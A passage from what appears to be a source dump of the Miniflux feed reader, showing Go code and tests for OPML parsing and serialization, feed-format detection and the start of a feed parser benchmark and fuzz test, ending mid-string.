text=\"Workbench\" description=\"Programming and publishing news and comment\" htmlUrl=\"http://www.cadenhead.org/workbench/\" language=\"unknown\" title=\"Workbench\" type=\"rss\" version=\"RSS2\" xmlUrl=\"http://www.cadenhead.org/workbench/rss.xml\"/>\n\t\t\t<outline text=\"Christian Science Monitor | Top Stories\" description=\"Read the front page stories of csmonitor.com.\" htmlUrl=\"http://csmonitor.com\" language=\"unknown\" title=\"Christian Science Monitor | Top Stories\" type=\"rss\" version=\"RSS\" xmlUrl=\"http://www.csmonitor.com/rss/top.rss\"/>\n\t\t\t<outline text=\"Dictionary.com Word of the Day\" description=\"A new word is presented every day with its definition and example sentences from actual published works.\" htmlUrl=\"http://dictionary.reference.com/wordoftheday/\" language=\"unknown\" title=\"Dictionary.com Word of the Day\" type=\"rss\" version=\"RSS\" xmlUrl=\"http://www.dictionary.com/wordoftheday/wotd.rss\"/>\n\t\t\t<outline text=\"The Motley Fool\" description=\"To Educate, Amuse, and Enrich\" htmlUrl=\"http://www.fool.com\" language=\"unknown\" title=\"The Motley Fool\" type=\"rss\" version=\"RSS\" xmlUrl=\"http://www.fool.com/xml/foolnews_rss091.xml\"/>\n\t\t\t<outline text=\"InfoWorld: Top News\" description=\"The latest on Top News from InfoWorld\" htmlUrl=\"http://www.infoworld.com/news/index.html\" language=\"unknown\" title=\"InfoWorld: Top News\" type=\"rss\" version=\"RSS2\" xmlUrl=\"http://www.infoworld.com/rss/news.xml\"/>\n\t\t\t<outline text=\"NYT &gt; Business\" description=\"Find breaking news &amp; business news on Wall Street, media &amp; advertising, international business, banking, interest rates, the stock market, currencies &amp; funds.\" htmlUrl=\"http://www.nytimes.com/pages/business/index.html?partner=rssnyt\" language=\"unknown\" title=\"NYT &gt; Business\" type=\"rss\" version=\"RSS2\" xmlUrl=\"http://www.nytimes.com/services/xml/rss/nyt/Business.xml\"/>\n\t\t\t<outline text=\"NYT &gt; Technology\" description=\"\" htmlUrl=\"http://www.nytimes.com/pages/technology/index.html?partner=rssnyt\" language=\"unknown\" title=\"NYT &gt; Technology\" type=\"rss\" version=\"RSS2\" xmlUrl=\"http://www.nytimes.com/services/xml/rss/nyt/Technology.xml\"/>\n\t\t\t<outline text=\"Scripting News\" description=\"It's even worse than it appears.\" htmlUrl=\"http://www.scripting.com/\" language=\"unknown\" title=\"Scripting News\" type=\"rss\" version=\"RSS2\" xmlUrl=\"http://www.scripting.com/rss.xml\"/>\n\t\t\t<outline text=\"Wired News\" description=\"Technology, and the way we do business, is changing the world we know. Wired News is a technology - and business-oriented news service feeding an intelligent, discerning audience. What role does technology play in the day-to-day living of your life? Wired News tells you. How has evolving technology changed the face of the international business world? Wired News puts you in the picture.\" htmlUrl=\"http://www.wired.com/\" language=\"unknown\" title=\"Wired News\" type=\"rss\" version=\"RSS\" xmlUrl=\"http://www.wired.com/news_drop/netcenter/netcenter.rdf\"/>\n\t\t</body>\n\t</opml>\n\t`\n\n\tvar expected []subcription\n\texpected = append(expected, subcription{Title: \"CNET News.com\", FeedURL: \"http://news.com.com/2547-1_3-0-5.xml\", SiteURL: \"http://news.com.com/\", Description: \"Tech news and business reports by CNET News.com. Focused on information technology, core topics include computers, hardware, software, networking, and Internet media.\"})\n\n\tsubscriptions, err := parse(bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(subscriptions) != 13 {\n\t\tt.Fatalf(\"Wrong number of subscriptions: %d instead of %d\", len(subscriptions), 13)\n\t}\n\n\tif !subscriptions[0].equals(expected[0]) {\n\t\tt.Errorf(`Subscription is different: \"%v\" vs \"%v\"`, subscriptions[0], expected[0])\n\t}\n}\n\nfunc TestParseOpmlWithCategories(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<opml version=\"2.0\">\n\t\t<head>\n\t\t\t<title>mySubscriptions.opml</title>\n\t\t</head>\n\t\t<body>\n\t\t\t<outline text=\"My Category 1\">\n\t\t\t\t<outline text=\"Feed 1\" xmlUrl=\"http://example.org/feed1/\" htmlUrl=\"http://example.org/1\"/>\n\t\t\t\t<outline text=\"Feed 2\" xmlUrl=\"http://example.org/feed2/\" htmlUrl=\"http://example.org/2\"/>\n\t\t\t</outline>\n\t\t\t<outline text=\"My Category 2\">\n\t\t\t<outline text=\"Feed 3\" xmlUrl=\"http://example.org/feed3/\" htmlUrl=\"http://example.org/3\"/>\n\t\t</outline>\n\t\t</body>\n\t</opml>\n\t`\n\n\tvar expected []subcription\n\texpected = append(expected, subcription{Title: \"Feed 1\", FeedURL: \"http://example.org/feed1/\", SiteURL: \"http://example.org/1\", CategoryName: \"My Category 1\"})\n\texpected = append(expected, subcription{Title: \"Feed 2\", FeedURL: \"http://example.org/feed2/\", SiteURL: \"http://example.org/2\", CategoryName: \"My Category 1\"})\n\texpected = append(expected, subcription{Title: \"Feed 3\", FeedURL: \"http://example.org/feed3/\", SiteURL: \"http://example.org/3\", CategoryName: \"My Category 2\"})\n\n\tsubscriptions, err := parse(bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(subscriptions) != 3 {\n\t\tt.Fatalf(\"Wrong number of subscriptions: %d instead of %d\", len(subscriptions), 3)\n\t}\n\n\tfor i := range len(subscriptions) {\n\t\tif !subscriptions[i].equals(expected[i]) {\n\t\t\tt.Errorf(`Subscription is different: \"%v\" vs \"%v\"`, subscriptions[i], expected[i])\n\t\t}\n\t}\n}\n\nfunc TestParseOpmlWithEmptyTitleAndEmptySiteURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n\t<opml version=\"2.0\">\n\t<head>\n\t<title>mySubscriptions.opml</title>\n\t</head>\n\t<body>\n\t\t<outline xmlUrl=\"http://example.org/feed1/\" htmlUrl=\"http://example.org/1\"/>\n\t\t<outline xmlUrl=\"http://example.org/feed2/\"/>\n\t</body>\n\t</opml>\n\t`\n\n\tvar expected []subcription\n\texpected = append(expected, subcription{Title: \"http://example.org/1\", FeedURL: \"http://example.org/feed1/\", SiteURL: \"http://example.org/1\", CategoryName: \"\"})\n\texpected = append(expected, subcription{Title: \"http://example.org/feed2/\", FeedURL: \"http://example.org/feed2/\", SiteURL: \"http://example.org/feed2/\", CategoryName: \"\"})\n\n\tsubscriptions, err := parse(bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(subscriptions) != 2 {\n\t\tt.Fatalf(\"Wrong number of subscriptions: %d instead of %d\", len(subscriptions), 2)\n\t}\n\n\tfor i := range len(subscriptions) {\n\t\tif !subscriptions[i].equals(expected[i]) {\n\t\t\tt.Errorf(`Subscription is different: \"%v\" vs \"%v\"`, subscriptions[i], expected[i])\n\t\t}\n\t}\n}\n\nfunc TestParseOpmlVersion1(t *testing.T) {\n\tdata := `<?xml version=\"1.0\"?>\n\t<opml version=\"1.0\">\n\t\t<head>\n\t\t\t<title>mySubscriptions.opml</title>\n\t\t\t<dateCreated>Wed, 13 Mar 2019 11:51:41 GMT</dateCreated>\n\t\t</head>\n\t\t<body>\n\t\t\t<outline title=\"Category 1\">\n\t\t\t\t<outline type=\"rss\" title=\"Feed 1\" xmlUrl=\"http://example.org/feed1/\" htmlUrl=\"http://example.org/1\"></outline>\n\t\t\t</outline>\n\t\t\t<outline title=\"Category 2\">\n\t\t\t\t<outline type=\"rss\" title=\"Feed 2\" xmlUrl=\"http://example.org/feed2/\" htmlUrl=\"http://example.org/2\"></outline>\n\t\t\t</outline>\n\t\t</body>\n\t</opml>\n\t`\n\n\tvar expected []subcription\n\texpected = append(expected, subcription{Title: \"Feed 1\", FeedURL: \"http://example.org/feed1/\", SiteURL: \"http://example.org/1\", CategoryName: \"Category 1\"})\n\texpected = append(expected, subcription{Title: \"Feed 2\", FeedURL: \"http://example.org/feed2/\", SiteURL: \"http://example.org/2\", CategoryName: \"Category 2\"})\n\n\tsubscriptions, err := parse(bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(subscriptions) != 2 {\n\t\tt.Fatalf(\"Wrong number of subscriptions: %d instead of %d\", len(subscriptions), 2)\n\t}\n\n\tfor i := range len(subscriptions) {\n\t\tif !subscriptions[i].equals(expected[i]) {\n\t\t\tt.Errorf(`Subscription is different: \"%v\" vs \"%v\"`, subscriptions[i], expected[i])\n\t\t}\n\t}\n}\n\nfunc TestParseOpmlVersion1WithoutOuterOutline(t *testing.T) {\n\tdata := `<?xml version=\"1.0\"?>\n\t<opml version=\"1.0\">\n\t\t<head>\n\t\t\t<title>mySubscriptions.opml</title>\n\t\t\t<dateCreated>Wed, 13 Mar 2019 11:51:41 GMT</dateCreated>\n\t\t</head>\n\t\t<body>\n\t\t\t<outline type=\"rss\" title=\"Feed 1\" xmlUrl=\"http://example.org/feed1/\" htmlUrl=\"http://example.org/1\"></outline>\n\t\t\t<outline type=\"rss\" title=\"Feed 2\" xmlUrl=\"http://example.org/feed2/\" htmlUrl=\"http://example.org/2\"></outline>\n\t\t</body>\n\t</opml>\n\t`\n\n\tvar expected []subcription\n\texpected = append(expected, subcription{Title: \"Feed 1\", FeedURL: \"http://example.org/feed1/\", SiteURL: \"http://example.org/1\", CategoryName: \"\"})\n\texpected = append(expected, subcription{Title: \"Feed 2\", FeedURL: \"http://example.org/feed2/\", SiteURL: \"http://example.org/2\", CategoryName: \"\"})\n\n\tsubscriptions, err := parse(bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(subscriptions) != 2 {\n\t\tt.Fatalf(\"Wrong number of subscriptions: %d instead of %d\", len(subscriptions), 2)\n\t}\n\n\tfor i := range len(subscriptions) {\n\t\tif !subscriptions[i].equals(expected[i]) {\n\t\t\tt.Errorf(`Subscription is different: \"%v\" vs \"%v\"`, subscriptions[i], expected[i])\n\t\t}\n\t}\n}\n\nfunc TestParseOpmlVersion1WithSeveralNestedOutlines(t *testing.T) {\n\tdata := `<?xml version=\"1.0\"?>\n\t<opml xmlns:rssowl=\"http://www.rssowl.org\" version=\"1.1\">\n\t\t<head>\n\t\t\t<title>RSSOwl Subscriptions</title>\n\t\t\t<dateCreated>星期二, 26 四月 2022 00:12:04 CST</dateCreated>\n\t\t</head>\n\t\t<body>\n\t\t\t<outline text=\"My Feeds\" rssowl:isSet=\"true\" rssowl:id=\"7\">\n\t\t\t\t<outline text=\"Some Category\" rssowl:isSet=\"false\" rssowl:id=\"55\">\n\t\t\t\t\t<outline type=\"rss\" title=\"Feed 1\" xmlUrl=\"http://example.org/feed1/\" htmlUrl=\"http://example.org/1\"></outline>\n\t\t\t\t\t<outline type=\"rss\" title=\"Feed 2\" xmlUrl=\"http://example.org/feed2/\" htmlUrl=\"http://example.org/2\"></outline>\n\t\t\t\t</outline>\n\t\t\t\t<outline text=\"Another Category\" rssowl:isSet=\"false\" rssowl:id=\"87\">\n\t\t\t\t\t<outline type=\"rss\" title=\"Feed 3\" xmlUrl=\"http://example.org/feed3/\" htmlUrl=\"http://example.org/3\"></outline>\n\t\t\t\t</outline>\n\t\t\t</outline>\n\t\t</body>\n\t</opml>\n\t`\n\n\tvar expected []subcription\n\texpected = append(expected, subcription{Title: \"Feed 1\", FeedURL: \"http://example.org/feed1/\", SiteURL: \"http://example.org/1\", CategoryName: \"Some Category\"})\n\texpected = append(expected, subcription{Title: \"Feed 2\", FeedURL: \"http://example.org/feed2/\", SiteURL: \"http://example.org/2\", CategoryName: \"Some Category\"})\n\texpected = append(expected, subcription{Title: \"Feed 3\", FeedURL: \"http://example.org/feed3/\", SiteURL: \"http://example.org/3\", CategoryName: \"Another Category\"})\n\n\tsubscriptions, err := parse(bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(subscriptions) != 3 {\n\t\tt.Fatalf(\"Wrong number of subscriptions: %d instead of %d\", len(subscriptions), 3)\n\t}\n\n\tfor i := range len(subscriptions) {\n\t\tif !subscriptions[i].equals(expected[i]) {\n\t\t\tt.Errorf(`Subscription is different: \"%v\" vs \"%v\"`, subscriptions[i], expected[i])\n\t\t}\n\t}\n}\n\nfunc TestParseOpmlWithInvalidCharacterEntity(t *testing.T) {\n\tdata := `<?xml version=\"1.0\"?>\n\t<opml version=\"1.0\">\n\t\t<head>\n\t\t\t<title>mySubscriptions.opml</title>\n\t\t</head>\n\t\t<body>\n\t\t\t<outline title=\"Feed 1\">\n\t\t\t\t<outline type=\"rss\" title=\"Feed 1\" xmlUrl=\"http://example.org/feed1/a&b\" htmlUrl=\"http://example.org/c&d\"></outline>\n\t\t\t</outline>\n\t\t</body>\n\t</opml>\n\t`\n\n\tvar expected []subcription\n\texpected = append(expected, subcription{Title: \"Feed 1\", FeedURL: \"http://example.org/feed1/a&b\", SiteURL: \"http://example.org/c&d\", CategoryName: \"Feed 1\"})\n\n\tsubscriptions, err := parse(bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(subscriptions) != 1 {\n\t\tt.Fatalf(\"Wrong number of subscriptions: %d instead of %d\", len(subscriptions), 1)\n\t}\n\n\tfor i := range len(subscriptions) {\n\t\tif !subscriptions[i].equals(expected[i]) {\n\t\t\tt.Errorf(`Subscription is different: \"%v\" vs \"%v\"`, subscriptions[i], expected[i])\n\t\t}\n\t}\n}\n\nfunc TestParseInvalidXML(t *testing.T) {\n\tdata := `garbage`\n\t_, err := parse(bytes.NewBufferString(data))\n\tif err == nil {\n\t\tt.Error(\"Parse should generate an error\")\n\t}\n}\n"
  },
  {
    "path": "internal/reader/opml/serializer.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage opml // import \"miniflux.app/v2/internal/reader/opml\"\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"encoding/xml\"\n\t\"log/slog\"\n\t\"sort\"\n\t\"time\"\n)\n\n// serialize returns a SubcriptionList in OPML format.\nfunc serialize(subscriptions []subcription) string {\n\tvar b bytes.Buffer\n\twriter := bufio.NewWriter(&b)\n\twriter.WriteString(xml.Header)\n\n\topmlDocument := convertSubscriptionsToOPML(subscriptions)\n\tencoder := xml.NewEncoder(writer)\n\tencoder.Indent(\"\", \"    \")\n\tif err := encoder.Encode(opmlDocument); err != nil {\n\t\tslog.Error(\"Unable to serialize OPML document\",\n\t\t\tslog.Any(\"error\", err),\n\t\t)\n\t\treturn \"\"\n\t}\n\n\treturn b.String()\n}\n\nfunc convertSubscriptionsToOPML(subscriptions []subcription) *opmlDocument {\n\topmlDocument := &opmlDocument{}\n\topmlDocument.Version = \"2.0\"\n\topmlDocument.Header.Title = \"Miniflux\"\n\topmlDocument.Header.DateCreated = time.Now().Format(\"Mon, 02 Jan 2006 15:04:05 MST\")\n\n\tgroupedSubs := groupSubscriptionsByFeed(subscriptions)\n\tcategories := make([]string, 0, len(groupedSubs))\n\tfor k := range groupedSubs {\n\t\tcategories = append(categories, k)\n\t}\n\tsort.Strings(categories)\n\n\tfor _, categoryName := range categories {\n\t\tcategory := opmlOutline{Text: categoryName, Outlines: make(opmlOutlineCollection, 0, len(groupedSubs[categoryName]))}\n\t\tfor _, subscription := range groupedSubs[categoryName] {\n\t\t\tcategory.Outlines = append(category.Outlines, opmlOutline{\n\t\t\t\tTitle:       subscription.Title,\n\t\t\t\tText:        subscription.Title,\n\t\t\t\tFeedURL:     subscription.FeedURL,\n\t\t\t\tSiteURL:     subscription.SiteURL,\n\t\t\t\tDescription: subscription.Description,\n\t\t\t})\n\t\t}\n\n\t\topmlDocument.Outlines = append(opmlDocument.Outlines, category)\n\t}\n\n\treturn opmlDocument\n}\n\nfunc groupSubscriptionsByFeed(subscriptions []subcription) map[string][]subcription {\n\tgroups := make(map[string][]subcription)\n\n\tfor _, subscription := range subscriptions {\n\t\tgroups[subscription.CategoryName] = append(groups[subscription.CategoryName], subscription)\n\t}\n\n\treturn groups\n}\n"
  },
  {
    "path": "internal/reader/opml/serializer_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage opml // import \"miniflux.app/v2/internal/reader/opml\"\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n)\n\nfunc TestSerialize(t *testing.T) {\n\tvar subscriptions []subcription\n\tsubscriptions = append(subscriptions, subcription{Title: \"Feed 1\", FeedURL: \"http://example.org/feed/1\", SiteURL: \"http://example.org/1\", CategoryName: \"Category 1\"})\n\tsubscriptions = append(subscriptions, subcription{Title: \"Feed 2\", FeedURL: \"http://example.org/feed/2\", SiteURL: \"http://example.org/2\", CategoryName: \"Category 1\"})\n\tsubscriptions = append(subscriptions, subcription{Title: \"Feed 3\", FeedURL: \"http://example.org/feed/3\", SiteURL: \"http://example.org/3\", CategoryName: \"Category 2\"})\n\n\toutput := serialize(subscriptions)\n\tfeeds, err := parse(bytes.NewBufferString(output))\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tif len(feeds) != 3 {\n\t\tt.Errorf(\"Wrong number of subscriptions: %d instead of %d\", len(feeds), 3)\n\t}\n\n\tfound := false\n\tfor _, feed := range feeds {\n\t\tif feed.Title == \"Feed 1\" && feed.CategoryName == \"Category 1\" &&\n\t\t\tfeed.FeedURL == \"http://example.org/feed/1\" && feed.SiteURL == \"http://example.org/1\" {\n\t\t\tfound = true\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif !found {\n\t\tt.Error(\"Serialized feed is incorrect\")\n\t}\n}\n\nfunc TestNormalizedCategoriesOrder(t *testing.T) {\n\tvar orderTests = []struct {\n\t\tnaturalOrderName string\n\t\tcorrectOrderName string\n\t}{\n\t\t{\"Category 2\", \"Category 1\"},\n\t\t{\"Category 3\", \"Category 2\"},\n\t\t{\"Category 1\", \"Category 3\"},\n\t}\n\n\tvar subscriptions []subcription\n\tsubscriptions = append(subscriptions, subcription{Title: \"Feed 1\", FeedURL: \"http://example.org/feed/1\", SiteURL: \"http://example.org/1\", CategoryName: orderTests[0].naturalOrderName})\n\tsubscriptions = append(subscriptions, subcription{Title: \"Feed 2\", FeedURL: \"http://example.org/feed/2\", SiteURL: \"http://example.org/2\", CategoryName: orderTests[1].naturalOrderName})\n\tsubscriptions = append(subscriptions, subcription{Title: \"Feed 3\", FeedURL: \"http://example.org/feed/3\", SiteURL: \"http://example.org/3\", CategoryName: orderTests[2].naturalOrderName})\n\n\tfeeds := convertSubscriptionsToOPML(subscriptions)\n\n\tfor i, o := range orderTests {\n\t\tif feeds.Outlines[i].Text != o.correctOrderName {\n\t\t\tt.Fatalf(\"need %v, got %v\", o.correctOrderName, feeds.Outlines[i].Text)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "internal/reader/opml/subscription.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage opml // import \"miniflux.app/v2/internal/reader/opml\"\n\n// subcription represents a feed that will be imported or exported.\ntype subcription struct {\n\tTitle        string\n\tSiteURL      string\n\tFeedURL      string\n\tCategoryName string\n\tDescription  string\n}\n"
  },
  {
    "path": "internal/reader/parser/format.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage parser // import \"miniflux.app/v2/internal/reader/parser\"\n\nimport (\n\t\"encoding/xml\"\n\t\"io\"\n\t\"unicode\"\n\n\trxml \"miniflux.app/v2/internal/reader/xml\"\n)\n\n// List of feed formats.\nconst (\n\tFormatRDF     = \"rdf\"\n\tFormatRSS     = \"rss\"\n\tFormatAtom    = \"atom\"\n\tFormatJSON    = \"json\"\n\tFormatUnknown = \"unknown\"\n)\n\nconst maxTokensToConsider = uint(50)\n\n// DetectFeedFormat tries to guess the feed format from input data.\nfunc DetectFeedFormat(r io.ReadSeeker) (string, string) {\n\tr.Seek(0, io.SeekStart)\n\tdefer r.Seek(0, io.SeekStart)\n\n\tif isJSON, err := detectJSONFormat(r); err == nil && isJSON {\n\t\treturn FormatJSON, \"\"\n\t}\n\n\tr.Seek(0, io.SeekStart)\n\tdecoder := rxml.NewXMLDecoder(r)\n\n\tprocessedTokens := uint(0)\n\tfor {\n\t\ttoken, _ := decoder.Token()\n\t\tif token == nil || processedTokens == maxTokensToConsider {\n\t\t\tbreak\n\t\t}\n\t\tprocessedTokens += 1\n\n\t\tif element, ok := token.(xml.StartElement); ok {\n\t\t\tswitch element.Name.Local {\n\t\t\tcase \"rss\":\n\t\t\t\treturn FormatRSS, \"\"\n\t\t\tcase \"feed\":\n\t\t\t\tfor _, attr := range element.Attr {\n\t\t\t\t\tif attr.Name.Local == \"version\" && attr.Value == \"0.3\" {\n\t\t\t\t\t\treturn FormatAtom, \"0.3\"\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn FormatAtom, \"1.0\"\n\t\t\tcase \"RDF\":\n\t\t\t\treturn FormatRDF, \"\"\n\t\t\t}\n\t\t}\n\t}\n\n\treturn FormatUnknown, \"\"\n}\n\n// detectJSONFormat checks if the reader contains JSON by reading until it finds\n// the first non-whitespace character or reaches EOF/error.\nfunc detectJSONFormat(r io.ReadSeeker) (bool, error) {\n\tconst bufferSize = 32\n\tbuffer := make([]byte, bufferSize)\n\n\tfor {\n\t\tn, err := r.Read(buffer)\n\t\tif n == 0 {\n\t\t\tif err == io.EOF {\n\t\t\t\treturn false, nil // No non-whitespace content found\n\t\t\t}\n\t\t\treturn false, err\n\t\t}\n\n\t\tif len(buffer) < n {\n\t\t\tpanic(\"unreachable\") // bounds check hint to compiler\n\t\t}\n\n\t\t// Check each byte in the buffer\n\t\tfor i := range n {\n\t\t\tch := buffer[i]\n\t\t\t// Skip whitespace characters (space, tab, newline, carriage return, etc.)\n\t\t\tif unicode.IsSpace(rune(ch)) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t// First non-whitespace character determines if it's JSON\n\t\t\treturn ch == '{', nil\n\t\t}\n\n\t\t// If we've read less than bufferSize, we've reached EOF\n\t\tif n < bufferSize {\n\t\t\treturn false, nil\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "internal/reader/parser/format_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage parser // import \"miniflux.app/v2/internal/reader/parser\"\n\nimport (\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc TestDetectRDF(t *testing.T) {\n\tdata := `<?xml version=\"1.0\"?><rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns=\"http://my.netscape.com/rdf/simple/0.9/\"></rdf:RDF>`\n\tformat, _ := DetectFeedFormat(strings.NewReader(data))\n\n\tif format != FormatRDF {\n\t\tt.Errorf(`Wrong format detected: %q instead of %q`, format, FormatRDF)\n\t}\n}\n\nfunc TestDetectRSS(t *testing.T) {\n\tdata := `<?xml version=\"1.0\"?><rss version=\"2.0\"><channel></channel></rss>`\n\tformat, _ := DetectFeedFormat(strings.NewReader(data))\n\n\tif format != FormatRSS {\n\t\tt.Errorf(`Wrong format detected: %q instead of %q`, format, FormatRSS)\n\t}\n}\n\nfunc TestDetectAtom10(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?><feed xmlns=\"http://www.w3.org/2005/Atom\"></feed>`\n\tformat, _ := DetectFeedFormat(strings.NewReader(data))\n\n\tif format != FormatAtom {\n\t\tt.Errorf(`Wrong format detected: %q instead of %q`, format, FormatAtom)\n\t}\n}\n\nfunc TestDetectAtom03(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?><feed version=\"0.3\" xmlns=\"http://purl.org/atom/ns#\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xml:lang=\"en\"></feed>`\n\tformat, _ := DetectFeedFormat(strings.NewReader(data))\n\n\tif format != FormatAtom {\n\t\tt.Errorf(`Wrong format detected: %q instead of %q`, format, FormatAtom)\n\t}\n}\n\nfunc TestDetectAtomWithISOCharset(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"ISO-8859-15\"?><feed xmlns=\"http://www.w3.org/2005/Atom\"></feed>`\n\tformat, _ := DetectFeedFormat(strings.NewReader(data))\n\n\tif format != FormatAtom {\n\t\tt.Errorf(`Wrong format detected: %q instead of %q`, format, FormatAtom)\n\t}\n}\n\nfunc TestDetectJSON(t *testing.T) {\n\tdata := `\n\t{\n\t\t\"version\" : \"https://jsonfeed.org/version/1\",\n\t\t\"title\" : \"Example\"\n\t}\n\t`\n\tformat, _ := DetectFeedFormat(strings.NewReader(data))\n\n\tif format != FormatJSON {\n\t\tt.Errorf(`Wrong format detected: %q instead of %q`, format, FormatJSON)\n\t}\n}\n\nfunc TestDetectUnknown(t *testing.T) {\n\tdata := `\n\t<!DOCTYPE html> <html> </html>\n\t`\n\tformat, _ := DetectFeedFormat(strings.NewReader(data))\n\n\tif format != FormatUnknown {\n\t\tt.Errorf(`Wrong format detected: %q instead of %q`, format, FormatUnknown)\n\t}\n}\n\nfunc TestDetectJSONWithLargeLeadingWhitespace(t *testing.T) {\n\tleadingWhitespace := strings.Repeat(\" \", 10000)\n\tdata := leadingWhitespace + `{\n\t\t\"version\" : \"https://jsonfeed.org/version/1\",\n\t\t\"title\" : \"Example with lots of leading whitespace\"\n\t}`\n\tformat, _ := DetectFeedFormat(strings.NewReader(data))\n\n\tif format != FormatJSON {\n\t\tt.Errorf(`Wrong format detected: %q instead of %q`, format, FormatJSON)\n\t}\n}\n\nfunc TestDetectJSONWithMixedWhitespace(t *testing.T) {\n\tleadingWhitespace := strings.Repeat(\"\\n\\t  \", 10000)\n\tdata := leadingWhitespace + `{\n\t\t\"version\" : \"https://jsonfeed.org/version/1\",\n\t\t\"title\" : \"Example with mixed whitespace\"\n\t}`\n\tformat, _ := DetectFeedFormat(strings.NewReader(data))\n\n\tif format != FormatJSON {\n\t\tt.Errorf(`Wrong format detected: %q instead of %q`, format, FormatJSON)\n\t}\n}\n\nfunc TestDetectOnlyWhitespace(t *testing.T) {\n\tdata := strings.Repeat(\" \\t\\n\\r\", 10000)\n\tformat, _ := DetectFeedFormat(strings.NewReader(data))\n\n\tif format != FormatUnknown {\n\t\tt.Errorf(`Wrong format detected: %q instead of %q`, format, FormatUnknown)\n\t}\n}\n\nfunc TestDetectJSONSmallerThanBuffer(t *testing.T) {\n\tdata := `{\"version\":\"1\"}` // This is only 15 bytes, well below the 32-byte buffer\n\tformat, _ := DetectFeedFormat(strings.NewReader(data))\n\n\tif format != FormatJSON {\n\t\tt.Errorf(`Wrong format detected: %q instead of %q`, format, FormatJSON)\n\t}\n}\n\nfunc TestDetectJSONWithWhitespaceSmallerThanBuffer(t *testing.T) {\n\tdata := `  {\"title\":\"test\"}  `\n\tformat, _ := DetectFeedFormat(strings.NewReader(data))\n\n\tif format != FormatJSON {\n\t\tt.Errorf(`Wrong format detected: %q instead of %q`, format, FormatJSON)\n\t}\n}\n"
  },
  {
    "path": "internal/reader/parser/parser.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage parser // import \"miniflux.app/v2/internal/reader/parser\"\n\nimport (\n\t\"errors\"\n\t\"io\"\n\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/reader/atom\"\n\t\"miniflux.app/v2/internal/reader/json\"\n\t\"miniflux.app/v2/internal/reader/rdf\"\n\t\"miniflux.app/v2/internal/reader/rss\"\n)\n\nvar ErrFeedFormatNotDetected = errors.New(\"parser: unable to detect feed format\")\n\n// ParseFeed analyzes the input data and returns a normalized feed object.\nfunc ParseFeed(baseURL string, r io.ReadSeeker) (*model.Feed, error) {\n\tformat, version := DetectFeedFormat(r)\n\tswitch format {\n\tcase FormatAtom:\n\t\treturn atom.Parse(baseURL, r, version)\n\tcase FormatRSS:\n\t\treturn rss.Parse(baseURL, r)\n\tcase FormatJSON:\n\t\treturn json.Parse(baseURL, r)\n\tcase FormatRDF:\n\t\treturn rdf.Parse(baseURL, r)\n\tdefault:\n\t\treturn nil, ErrFeedFormatNotDetected\n\t}\n}\n"
  },
  {
    "path": "internal/reader/parser/parser_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage parser // import \"miniflux.app/v2/internal/reader/parser\"\n\nimport (\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc BenchmarkParse(b *testing.B) {\n\tvar testCases = map[string][]string{\n\t\t\"large_atom.xml\": {\"https://dustri.org/b\", \"\"},\n\t\t\"large_rss.xml\":  {\"https://dustri.org/b\", \"\"},\n\t\t\"small_atom.xml\": {\"https://github.com/miniflux/v2/commits/main\", \"\"},\n\t}\n\tfor filename := range testCases {\n\t\tdata, err := os.ReadFile(\"./testdata/\" + filename)\n\t\tif err != nil {\n\t\t\tb.Fatalf(`Unable to read file %q: %v`, filename, err)\n\t\t}\n\t\ttestCases[filename][1] = string(data)\n\t}\n\tfor b.Loop() {\n\t\tfor _, v := range testCases {\n\t\t\tParseFeed(v[0], strings.NewReader(v[1]))\n\t\t}\n\t}\n}\n\nfunc FuzzParse(f *testing.F) {\n\tf.Add(\"https://z.org\", `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<feed xmlns=\"http://www.w3.org/2005/Atom\">\n<title>Example Feed</title>\n<link href=\"http://z.org/\"/>\n<link href=\"/k\"/>\n<updated>2003-12-13T18:30:02Z</updated>\n<author><name>John 